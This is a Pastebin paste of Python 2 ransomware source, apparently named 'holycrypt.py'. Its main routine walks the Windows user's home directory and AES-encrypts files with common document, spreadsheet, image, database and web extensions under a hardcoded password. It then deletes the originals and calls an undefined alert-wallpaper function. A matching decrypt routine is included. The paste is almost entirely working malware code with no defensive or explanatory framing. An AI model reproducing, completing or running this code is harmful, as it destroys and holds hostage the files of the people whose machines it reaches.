Advertisement
Guest User

Untitled

a guest
Apr 26th, 2019
119
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.99 KB | None | 0 0
  1. from Crypto.Hash import SHA256
  2. from Crypto.Cipher import AES
  3. import os, random, sys
  4.  
  5. def encrypt(key, FileName):
  6. chunkS = 64 * 1024
  7. OutputFile = os.path.join(os.path.dirname(FileName), "(encrypted)" + os.path.basename(FileName))
  8. Fsize = str(os.path.getsize(FileName)).zfill(16)
  9. IniVect = ''
  10.  
  11. for i in range(16):
  12. IniVect += chr(random.randint(0, 0xFF))
  13.  
  14. encryptor = AES.new(key, AES.MODE_CBC, IniVect)
  15.  
  16. with open(FileName, "rb") as infile:
  17. with open(OutputFile, "wb") as outfile:
  18. outfile.write(Fsize)
  19. outfile.write(IniVect)
  20. while True:
  21. chunk = infile.read(chunkS)
  22.  
  23. if len(chunk) == 0:
  24. break
  25. elif len(chunk) % 16 !=0:
  26. chunk += ' ' * (16 - (len(chunk) % 16))
  27. outfile.write(encryptor.encrypt(chunk))
  28.  
  29. def decrypt(key, FileName):
  30. OutputFile = os.path.join(os.path.dirname(FileName), os.path.basename(FileName[11:]))
  31. chunkS = 64 * 1024
  32. with open(FileName, "rb") as infile:
  33. fileS = infile.read(16)
  34. IniVect = infile.read(16)
  35.  
  36. decryptor = AES.new(key, AES.MODE_CBC, IniVect)
  37.  
  38. with open(OutputFile, "wb") as outfile:
  39. while True:
  40. chunk = infile.read(chunkS)
  41. if len(chunk) == 0:
  42. break
  43. outfile.write(decryptor.decrypt(chunk))
  44. outfile.truncate(int(fileS))
  45.  
  46.  
  47. def getDigest(password):
  48. hasher = SHA256.new(password)
  49. return hasher.digest()
  50.  
  51. def files2crypt(path):
  52. allFiles = []
  53. for root, subfiles, files in os.walk(path):
  54. for names in files:
  55. if names == "holycrypt.py":
  56. continue
  57. allFiles.append(os.path.join(root, names))
  58. return allFiles
  59.  
  60. def Main():
  61. username = os.getenv('username')
  62. path2crypt = 'C:/Users/' + username
  63.  
  64. valid_extension = [".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd"]
  65.  
  66. choice = 'E'
  67. password = 'test'
  68. encFiles = files2crypt(path2crypt)
  69. if choice == "E":
  70. for file_pnt in encFiles:
  71. if os.path.basename(file_pnt).startswith("(encrypted)"):
  72. print "%s is already ENC" %str(file_pnt)
  73. pass
  74. else:
  75. extension = os.path.splitext(file_pnt)[1]
  76. if extension in valid_extension:
  77. try:
  78. encrypt(getDigest(password), str(file_pnt))
  79. os.remove(file_pnt)
  80. except:
  81. pass
  82. set_alert_wallpaper()
  83.  
  84.  
  85. elif choice == "D":
  86. filename = raw_input("Filename to DEC: ")
  87. if not os.path.exists(filename):
  88. print "Not exist!"
  89. sys.exit(0)
  90. elif not filename.startswith("(encrypted)"):
  91. print "%s is already not DEC" %filename
  92. sys.exit()
  93. else:
  94. decrypt(getDigest(password), filename)
  95. s = str(getDigest(password))
  96. os.remove(filename)
  97.  
  98. else:
  99. print "Invalid choice!"
  100. sys.exit
  101. sys.exit
  102.  
  103. if __name__ == '__main__':
  104. Main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement